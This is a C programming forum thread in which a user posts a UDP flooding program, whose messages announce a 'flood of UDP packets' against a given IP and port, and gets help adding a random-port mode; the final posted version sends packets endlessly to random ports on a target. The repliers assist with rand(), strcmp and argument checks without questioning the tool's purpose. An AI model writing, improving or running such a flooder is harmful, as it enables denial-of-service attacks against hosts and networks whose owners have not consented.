Thread: Add function RAND in my script

  1. #1
    Registered User
    Join Date
    Nov 2012
    Posts
    7

    Add function RAND in my script

    Hello all,

    I have a script that sends UDP socket on a port that I added,
    I would add the function rand ($ rand = rand (1.65000))
    such as would utulisation ./ udp 127.0.0.1 rand


    Code:
    /*
     compilation : gcc udp.c -o nom
    */
    
    
    #define UDP_STRING "BBBBBBBBBBBB"
    #define UDP_SIZE 15
    
    
    #include <stdio.h>
    #include <sys/param.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <stdarg.h>
    #include <string.h>
    #include <stdlib.h>
    
    
    int connection(char *, short);
    
    
    int connection(char *serveur, short port)
    {
       struct sockaddr_in udp;
       struct hostent *bbs;
       int initsocket;
       bbs = gethostbyname(serveur);
       if (bbs==NULL) {
          printf("host inconnu: %s\n",serveur);
          exit(0);
       }
       printf("Innondation de paquet UDP sur %s:%d\n ", serveur, port);
       bzero((char*) &udp,sizeof(udp));
       bcopy(bbs->h_addr, (char *) &udp.sin_addr, bbs->h_length);
       udp.sin_family = bbs->h_addrtype;
       udp.sin_port = htons(port);
       initsocket = socket(AF_INET, SOCK_DGRAM, 0);
       connect(initsocket,(struct sockaddr *) &udp, sizeof(udp));
       return initsocket;
    }
    
    
    
    
    main(int argc, char **argv)
    {
       int i;
       if(argc != 3)
       {
          fprintf(stderr, "Utilisation: %s ip port\n",argv[0]);
          exit(0);
       }
       i=connection(argv[1], atoi(argv[2]));
       for(;;)
       {
          send(i, UDP_STRING, UDP_SIZE, 0);
       }
    }
    Thinks in advance !

  2. #2
    Tears of the stars thames's Avatar
    Join Date
    Oct 2012
    Location
    Rio, Brazil
    Posts
    193
    welcome to the forum lowterie! have a pleasant stay!

    good morning. The function rand and srand is declared in <stdlib.h> and time() in <time.h>

    you can code inside main:

    Code:
       int value = 0;
       srand(time(NULL));
       value = (rand() % 16499) + 1;
    this way you'll get a number between 1 and 16500.

    srand() is a function to seed rand. You must use it to get random numbers afterwards.

  3. #3
    Programming Wraith GReaper's Avatar
    Join Date
    Apr 2009
    Location
    Greece
    Posts
    2,738
    Quote Originally Posted by thames View Post
    this way you'll get a number between 1 and 16500.
    You mean including 1 but excluding 16500.
    Devoted my life to programming...

  4. #4
    Registered User
    Join Date
    Nov 2012
    Posts
    7
    Thanks !

    yes a random number between 1 and 16500!


    But I want to leave the choice between utulisation port manually entered or random function but I don't know.
    I have two arguments to the script Laner ip and port so the user enters:
    ./ udp 127.0.0.1 80 (for example)
    or the random function:
    ./udp 127.0.0.1 rand

  5. #5
    Tears of the stars thames's Avatar
    Join Date
    Oct 2012
    Location
    Rio, Brazil
    Posts
    193
    You mean including 1 but excluding 16500.
    I don't get it. For dices throwing, you code:

    Code:
     
      value = (rand() % 6) + 1;

  6. #6
    Programming Wraith GReaper's Avatar
    Join Date
    Apr 2009
    Location
    Greece
    Posts
    2,738
    Exactly, "rand % 6" is anything from 0 to 5, so "rand % 6 + 1" is anything from 1 to 6.
    The general formula that includes both ends is:
    Code:
    value = rand() % (high - low + 1) + low;
    Devoted my life to programming...

  7. #7
    Tears of the stars thames's Avatar
    Join Date
    Oct 2012
    Location
    Rio, Brazil
    Posts
    193
    Exactly, "rand % 6" is anything from 0 to 5, so "rand % 6 + 1" is anything from 1 to 6.
    sorry, I confused myself.

    Code:
      
      value = (rand % 16500) + 1;

  8. #8
    Registered User
    Join Date
    Nov 2012
    Posts
    7
    I can't, I try to
    Code:
    if(choix == "rand")
    {
    int aleatoire;
    aleatoire = (rand') % 16499) + 1;
    port = aleatoire
    }
    else
    {
    port = choix
    }

  9. #9
    Registered User
    Join Date
    May 2012
    Posts
    1,066
    Quote Originally Posted by lowterie View Post
    But I want to leave the choice between utulisation port manually entered or random function but I don't know.
    I have two arguments to the script Laner ip and port so the user enters:
    ./ udp 127.0.0.1 80 (for example)
    or the random function:
    ./udp 127.0.0.1 rand
    So the second argument to the program could either be a port number or "rand", correct?

    Code:
    if(choix == "rand")
    You can't compare strings with ==. You have to use strcmp():
    Code:
    if (strcmp(argv[2], "rand") == 0)
        port = (rand() % 16499) + 1;
    else
        port = strtol(argv[2], NULL, 10);
    (I prefer strtol() over atoi(). You should also check for errors)

    Bye, Andreas

  10. #10
    Registered User
    Join Date
    Nov 2012
    Posts
    7
    Quote Originally Posted by AndiPersti View Post
    So the second argument to the program could either be a port number or "rand", correct?
    yes, indeed

    Code:
    main(int argc, char **argv)
    {
       int i;
       int value = 0;
       srand(time(NULL));
       if(argc != 3)
       {
          fprintf(stderr, "Utilisation: %s ip port\n",argv[0]);
          exit(0);
       }
       i=connection(argv[1], strtol(argv[2]));
       if 	(strcmp(argv[2], "rand") == 0)
    		port = (rand() % 16499) + 1;
    	else
    		port = strtol(argv[2], NULL, 10);
       for(;;)
       {
          send(i, UDP_STRING, UDP_SIZE, 0);
       }
    }
    But port isn't undeclared
    Last edited by lowterie; 11-25-2012 at 10:03 AM.

  11. #11
    Registered User
    Join Date
    May 2012
    Posts
    1,066
    Quote Originally Posted by lowterie View Post
    But port isn't undeclared
    What do you mean?
    In main() you haven't declared "port". And you have to process argv[2] before you pass it to connection():
    Code:
    short port;
    if (strcmp(argv[2], "rand") == 0)
        port = (rand() % 16499) + 1;
    else
        port = strtol(argv[2], NULL, 10);
    i = connection(argv[1], port);
    Bye, Andreas

  12. #12
    Registered User
    Join Date
    Nov 2012
    Posts
    7
    it's done

    Code:
    /* compilation : gcc udp.c -o nom
     utilisation : ./nom ip port
     exemple d'utilisation : ./udp 80.70.60.50 80
     fonctionne sous linux, sunOS, BSD, kernel 2.2x avec gcc 4.x ou plus
    */
    
    
    #define UDP_STRING "LOL"
    #define UDP_SIZE 50
    
    
    #include <stdio.h>
    #include <sys/param.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <stdarg.h>
    #include <string.h>
    #include <stdlib.h>
    #include <time.h>
    
    
    
    
    int connection(char *, unsigned short);
    
    
    int connection(char *serveur, unsigned short port)
    {
       struct sockaddr_in udp;
       struct hostent *bbs;
       int initsocket;
       bbs = gethostbyname(serveur);
       if (bbs==NULL) {
          printf("host inconnu: %s\n",serveur);
          exit(0);
       }
       //printf("Innondation de paquet UDP sur %d\n ", port);
       bzero((char*) &udp,sizeof(udp));
       bcopy(bbs->h_addr, (char *) &udp.sin_addr, bbs->h_length);
       udp.sin_family = bbs->h_addrtype;
       udp.sin_port = htons(port);
       initsocket = socket(AF_INET, SOCK_DGRAM, 0);
       connect(initsocket,(struct sockaddr *) &udp, sizeof(udp));
       return initsocket;
    }
    
    
    
    
    main(int argc, char **argv)
    {
       int i;
    	int value = 0;
    	const int MAX =65535;
    	const int MIN =1;
    	int port =atoi(argv[2]);
    	srand(time(NULL));
    	
       if(argc != 3)
       {
          fprintf(stderr, "Utilisation: %s ip port ou ip -1 ( random port )\n",argv[0]);
          exit(0);
       }
       
       if(port ==-1){
    	printf("Innondation de paquet UDP sur %s en random\n ", argv[1]);
    	 for(;;)
    	{
    		i =connection(argv[1], (unsigned short)((rand() % (MAX - MIN + 1)) + MIN));
    		send(i, UDP_STRING, UDP_SIZE, 0);
    		
    	}
       }else{
    		i=connection(argv[1], port);
    		printf("Innondation de paquet UDP sur %s:%d\n ", argv[1], (unsigned short)port);
    	  for(;;)
    		{
    		send(i, UDP_STRING, UDP_SIZE, 0);
    		}
    		
       }
    }

  13. #13
    Registered User
    Join Date
    May 2012
    Posts
    1,066
    Code:
    main(int argc, char **argv)
    {
    ...
        int port =atoi(argv[2]);
        srand(time(NULL));
        
        if(argc != 3)
    That doesn't make sense. You are converting argv[2] to an int and then you check if you've got the correct number of arguments?

    Bye, Andreas

  14. #14
    Registered User
    Join Date
    Nov 2012
    Posts
    7
    Quote Originally Posted by AndiPersti View Post
    Code:
    main(int argc, char **argv)
    {
    ...
        int port =atoi(argv[2]);
        srand(time(NULL));
        
        if(argc != 3)
    That doesn't make sense. You are converting argv[2] to an int and then you check if you've got the correct number of arguments?

    Bye, Andreas
    I don't see the problem here ...
    how would you have done?

  15. #15
    SAMARAS std10093's Avatar
    Join Date
    Jan 2011
    Location
    Nice, France
    Posts
    2,694
    What Adak wants to point out is that first we check for the number of arguments (args) and then, when we are sure that we have enough arguments we do work with them.

    In your code you try to access argv[2], but you are not sure that this argument exists

    Do you agree?

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Replies: 2
    Last Post: 11-14-2011, 08:08 AM
  2. Rand() function...
    By Ash1981 in forum C Programming
    Replies: 7
    Last Post: 01-26-2006, 09:04 AM
  3. rand() function
    By jduke44 in forum C Programming
    Replies: 9
    Last Post: 10-07-2005, 05:33 PM
  4. Rand() function
    By Da-Nuka in forum C++ Programming
    Replies: 10
    Last Post: 12-26-2004, 08:12 AM
  5. rand function
    By BOBBY HILL in forum C Programming
    Replies: 1
    Last Post: 05-03-2002, 10:15 AM